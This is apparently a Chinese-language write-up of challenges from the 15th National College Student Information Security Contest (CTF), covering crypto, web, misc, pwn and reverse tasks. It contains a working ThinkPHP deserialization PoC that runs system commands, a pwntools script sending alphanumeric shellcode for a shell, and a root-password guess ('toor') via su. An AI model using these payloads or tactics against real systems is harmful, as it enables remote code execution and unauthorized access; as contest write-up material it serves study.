资讯详情

第十五届全国大学生信息安全竞赛部分WriteUp

做了10个,都是烂街的题目,分数很低。CTF榜单186,以为稳进分区赛。理论题变1500多个,华东南200多个,进不去。WriteUp我不想上传。

Crypto

不是密码玩家,但是密码不是预期的。

签到电台

关注微信官方账号给出的提示毕时安全到达,找到这些字的中文电码,然后将标题给出的密码本中的前28个密码逐位加以10取余。

删除空间后,将取余的输入msg就行:/send?msg=

ISO9798

nc上去之后,会给一个sha256之后的字符串,和部分明文,让求出前四位,用以下脚本即可得到前四位

from hashlib import * hash=‘加密后’ sss=部分明文 table='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' for ch1 in table:     for ch2 in table:         for ch3 in table:             for ch4 in table:                 hashvalue=sha256((ch1 ch2 ch3 ch4 sss).encode()).hexdigest()                 if hashvalue==hash:                     print(ch1 ch2 ch3 ch4)                     quit() 

找出前四个字后,填写。然后需要输入128字节的数字串,在这里随意输入,然后返回96字节的字符串。每32个字符串分为三个部分rA、rB、B,然后将rB和rA拼接后输入。例如,个96长度的字符串是11233,可以输入2211,输入后出来。flag

基于挑战码的双向认证

读了很长时间的文档让补充功能验证模块,我不会,也不懂C语言。ssh连接:ssh player@IP -p port,密码也是player,连上后翻目录翻到了root发现能进去,闲的没事翻来翻去,然后找到了flag,如下

cd /root/cube-shell/instance/flag_server cat flag1.txt cat flag2.txt 

基于挑战码的双向认证2

flag就是上面那个flag2

基于挑战码的双向认证3

放这个问题的时候,官方好像发现了前两个没有做权限验证的点。于是这个问题加了权限验证,找到了flag看不见,这里没有想法,提权也失败了。试着获得它root权限时,su指令切换用户,尝试许多密码,自己kali默认密码是toor,所以我试了试,没想到会成功。然后直接检查flag没关系。这个系列很奇怪。预计将完成客户端验证模块,几位朋友也预计将这样做。但这种非预期太简单了。几个问题毫无意义。这很奇怪

Web

Ezpop

参考这个https://www.freebuf.com/vuls/321546.html

把脚本里的Poc里dir命令改成cat /flag.txt即可,如下

<?php namespace think{ 
             abstract class Model{ 
                 private $lazySave = false;         private $data = 
       
        [
        ]
        ; 
        private 
        $exists 
        = 
        false
        ; 
        protected 
        $table
        ; 
        private 
        $withAttr 
        = 
        [
        ]
        ; 
        protected 
        $json 
        = 
        [
        ]
        ; 
        protected 
        $jsonAssoc 
        = 
        false
        ; 
        function 
        __construct
        (
        $obj 
        = 
        ''
        )
        { 
          
        $this
        ->
        lazySave 
        = 
        True
        ; 
        $this
        ->
        data 
        = 
        [
        'whoami' 
        => 
        [
        'cat /flag.txt'
        ]
        ]
        ; 
        $this
        ->
        exists 
        = 
        True
        ; 
        $this
        ->
        table 
        = 
        $obj
        ; 
        $this
        ->
        withAttr 
        = 
        [
        'whoami' 
        => 
        [
        'system'
        ]
        ]
        ; 
        $this
        ->
        json 
        = 
        [
        'whoami'
        ,
        [
        'whoami'
        ]
        ]
        ; 
        $this
        ->
        jsonAssoc 
        = 
        True
        ; 
        } 
        } 
        } 
        namespace 
        think\model
        { 
          
        use 
        think\Model
        ; 
        class 
        Pivot 
        extends 
        Model
        { 
          
        } 
        } 
        namespace
        { 
          
        echo
        (
        base64_encode
        (
        serialize
        (
        new 
        think\model\Pivot
        (
        new 
        think\model\Pivot
        (
        )
        )
        )
        )
        )
        ; 
        } 
       

输出结果base64解码,然后Urlencode,结果传给a参数以POST方式请求给index.php/index/test路由

示例图如下:

Misc

ez_usb

筛选usb.src=="2.8.1"导出特定分组为1.pcapng,筛选usb.src=="2.10.1"导出特定分组为2.pcapng

然后用UsbKeyboardDataHacker.py解析1.pcapng

得到的字符串去掉<CAP>,然后去掉<DEL>以及前面的字母c,因为DEL代表删除,前面一个字母输入也被删了。然后剩下的字符串,通过如下脚本转存为rar文件,我用HEX编辑器转存的rar打不开,不知道啥原因

import binascii

hex_data = '字符串'
out = open('输出的rar路径', 'wb')
out.write(binascii.unhexlify(hex_data))
out.close()

这个压缩包需要密码,而密码就是用UsbKeyboardDataHacker.py解析2.pcapng得到的字符串

输入密码即可得到flag

问卷调查

填写完因为官方没买会员,人家不给交,哈哈哈笑死了。然后官方应该是买了,提交问卷就给flag

Pwn

login-nomal

exp:

from pwn import*
context.log_level = "debug"
io = remote("ip","port")

io.recv()
shellcode = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
payload = "opt:1\n" + "msg:ro0t1\n"
io.sendline(payload)
payload = "opt:2\n" + "msg:" + shellcode + "\n"
io.sendline(payload)
io.interactive()

注意一下shellcode写法就行

Reverse

baby_tree

文本打开文件,把值拿出来就行。看就行了跟swift一样硬看,可惜那个没看出来,赛后和朋友交流发现写法有很多,这里只放一个python写的

res=[88,35,88,225,7,201,57,94,77,56,75,168,72,218,64,91,16,101,32,207,73,
     130,74,128,76,201,16,248,41,205,103,84,91,99,79,202,22,131,63,255,20,16]
key=[ord(c) for c in "345y"]

def my_encode(data,key):
    b=data
    k=key
    for i in range(len(b)-4+1):
        r0,r1,r2,r3=b[i],b[i+1],b[i+2],b[i+3]
        b[i]=r2^((k[0]+(r0>>4))&0xff)
        b[i+1]=r3^((k[1]+(r1>>2))&0xff)
        b[i+2]=r0^k[2]
        b[i+3]=r1^k[3]
        k[0],k[1],k[2],k[3]=k[1],k[2],k[3],k[0]
    return b==res

def my_decode(data,key):
    b=data
    k=key
    k[0], k[1], k[2], k[3] = k[2], k[3], k[0],k[1]
    for i in range(38,-1,-1):
        r1=b[i+3]^k[3]
        r0=b[i+2]^k[2]
        r3=b[i+1]^((k[1]+(r1>>2))&0xff)
        r2=b[i]^((k[0]+(r0>>4))&0xff)
        k[1], k[2], k[3], k[0] = k[0], k[1], k[2], k[3]
        b[i], b[i + 1], b[i + 2], b[i + 3] = r0, r1, r2, r3
    print("".join(chr(i) for i in b))

my_decode(res,key)

flag为:flag{30831242-56db-45b4-96fd-1f47e60da99d}

做了十个,解决50%,没进分区赛很烦。理论题这种设定让人想开个泥头车创创设计者!

标签: 6003rb网承3m连接器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

 锐单商城 - 一站式电子元器件采购平台  

 深圳锐单电子有限公司